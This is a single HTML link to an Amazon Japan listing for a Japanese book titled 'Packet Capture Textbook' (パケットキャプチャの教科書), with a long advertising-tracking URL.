<a href="https://www.amazon.co.jp/%E3%83%91%E3%82%B1%E3%83%83%E3%83%88%E3%82%AD%E3%83%A3%E3%83%97%E3%83%81%E3%83%A3%E3%81%AE%E6%95%99%E7%A7%91%E6%9B%B8-Informatics-IDEA-%E3%81%BF%E3%82%84%E3%81%9F-%E3%81%B2%E3%82%8D%E3%81%97/dp/4797390719/ref=sr_1_1?adgrpid=61739484668&gclid=EAIaIQobChMIxcaRitaY5QIVyGkqCh0yTAp1EAAYASAAEgJgp_D_BwE&hvadid=338538824158&hvdev=c&hvlocphy=1009324&hvnetw=g&hvpos=1t1&hvqmt=e&hvrand=8037461017060438374&hvtargid=kwd-373195754389&hydadcr=27266_11561145&jp-ad-ap=0&keywords=%E3%83%91%E3%82%B1%E3%83%83%E3%83%88%E3%82%AD%E3%83%A3%E3%83%97%E3%83%81%E3%83%A3%E3%81%AE%E6%95%99%E7%A7%91%E6%9B%B8&qid=1570950350&sr=8-1">パケットキャプチャの教科書</a>